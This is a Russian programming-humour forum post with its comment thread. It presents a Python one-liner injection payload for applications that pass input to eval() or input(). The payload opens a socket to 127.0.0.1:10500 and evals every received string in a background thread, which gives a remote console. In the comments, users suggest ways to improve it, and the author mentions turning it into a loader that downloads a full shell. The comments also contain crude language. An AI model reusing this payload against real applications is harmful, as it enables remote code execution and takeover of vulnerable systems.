1. Python / Говнокод #11923

    −94

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    42 if (
        setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
        setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
        setattr(__builtins__,'___worker' ,lambda S: any( 
            (True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
            ),
        __builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
        ) else 0

    Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
    Отформатировано для удобства чтения, вообще это однострочник.

    Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.

    Запостил: Vindicar, 15 Октября 2012

    Комментарии (24) RSS

    • Охуенно
      Ответить
      • __питоничненько__

        А у ___worker и ___conn аж по три __подчеркивания__... __Автор__, __видимо__, к __ним__ __неравнодушен__.
        Ответить
        • по три для избежания коллизий, потому что эта фигня впихивается в __builtins__, то есть доступна из любого места программы.
          Ответить
          • А потом еще какая-нибудь хуйня будет юзать 4 подчеркивания, чтобы не конфликтовать с этой...

            Вот в питоне очень мало вещей, которые меня действительно бесят - "тернарник" и подчеркивания на приватных переменных.
            Ответить
            • Подчеркивания с двух сторон - это не приватные, а зарезервированые.

              А я-то думал, это отсутствие констант, возможности объявить переменную, куча глюков в двойке, которые всем похуй, затянувшийся переход на тройку. Но нет, это подчеркивания.

              Да и нечего цепляться к шеллкоду. Обычно так не пишут.
              Ответить
              • > Подчеркивания с двух сторон - это не приватные, а зарезервированые.
                Я знаю. Я про __переменные.

                > отсутствие констант
                > возможности объявить переменную
                Ну дык ради этого питон и затевался... Если в него вводить подобные ограничения - получится вторая жаба.

                > затянувшийся переход на тройку
                А это да. Причем очень показательный эксперимент. Довольно молодой язык переходит уже столько лет... Отсюда можно сделать вывод, что любой язык старше питона, на котором уже куча наработок, через такую трансформацию или не пройдет вообще, или будет проходить еще дольше.
                Ответить
                • > получится вторая жаба.
                  С удобной стандартной либой.

                  >Ну дык ради этого питон и затевался.
                  Не пойму зачем в аналогичный по простоте js пробуют пихать то что там не нужно.

                  А так согласен, эти идиотские подчеркивания и меня отвращают.
                  Ответить
                • >Ну дык ради этого питон и затевался... Если в него вводить подобные ограничения - получится вторая жаба.
                  Из перла не получилось? Если он и УГ, то вовсе не из-за use strict.
                  Есть же __slots__, почему бы не сделать аналогично для модулей?

                  >Я знаю. Я про __переменные.
                  Так многие кретины их и не используют. Вкупе с отстутствием @Override, гадай потом - какая функция используется извне, а какая - нет.

                  >Довольно молодой язык переходит уже столько лет... Отсюда можно сделать вывод, что любой язык старше питона, на котором уже куча наработок, через такую трансформацию или не пройдет вообще, или будет проходить еще дольше.
                  Это - частично следствие мегадинамичности, автоматические конверторы просто нихуя нормально не работают, по сути - обычный поиск с заменой. Даже переименование по alt+shift+r в pydev распидараживает весь код.
                  И вдогонку - использовать python 2 и python 3 в одной проге нельзя вообще никак. На последних двойках можно писать почти как на тройке, но грабли это не отменяет, естественно.
                  Ответить
            • ну это изначально хак-однострочник-proof-of-concept, так что на него ориентироваться никто не будет.
              Ответить
          • Кстати, а зачем __builtins__?
            Ответить
            • объявить переменную присваиванием не получилось, вот и запихнул куда придется. Говно, да.
              Ответить
    • Кстати, eval(S.recv(4096) меня смущает - а что, если комадна больше? Я бы сделал

      f = sock.makefile() 
      for line in f:
          ...
      Ответить
      • Хммм, так что ли?
        all( (True,eval(line)) for line in sock.makefile() )

        Ну может и так прокатит.
        Ответить
        • А, так это твой говнокод? :)

          На джвойке еще надо буферизацию для файла отключить, иначе ты будешь получать данные только после закрытия соединения.

          А зачем
          (True,eval(line))
          ? Хотя, можно и так, а можно и
          (eval(line),)
          Ответить
          • Ну просто eval(line) нельзя, потому что eval() может вернуть эквивалент False и цикл прервется. А вот (eval(line),) должно сработать, да.
            Ответить
    • ТС, как это не печально, но твой говнокод не нужен.

      eval(compile('print 1; print 2', '<string>', 'exec'))
      Ответить
      • Проблема в том что eval()/input() находится в уязвимом приложении и нам неподконтролен, так что я исходил из предположения что передаётся туда строка, а не code object.
        По хорошему-то можно обойтись и без цикла, превратив код из говношелла в bootstrap, который выкачивает настоящий шелл и выполняет отдельным потоком. Но это было бы не так весело.
        Ответить
    • Один дурачок даже написал об этом статью, а второй перевел на кабр. Вот так отсос.
      http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
      Ответить
      • это охрененно опасно. Эвальщиков нужно вообще расстреливать. Уязвимости распространяют по осям. Я бы удалил пистон будь моя воля чуть подлиннее.
        Ответить
      • Ха-ха, этот мудак коменты трет.
        Ответить

    Добавить комментарий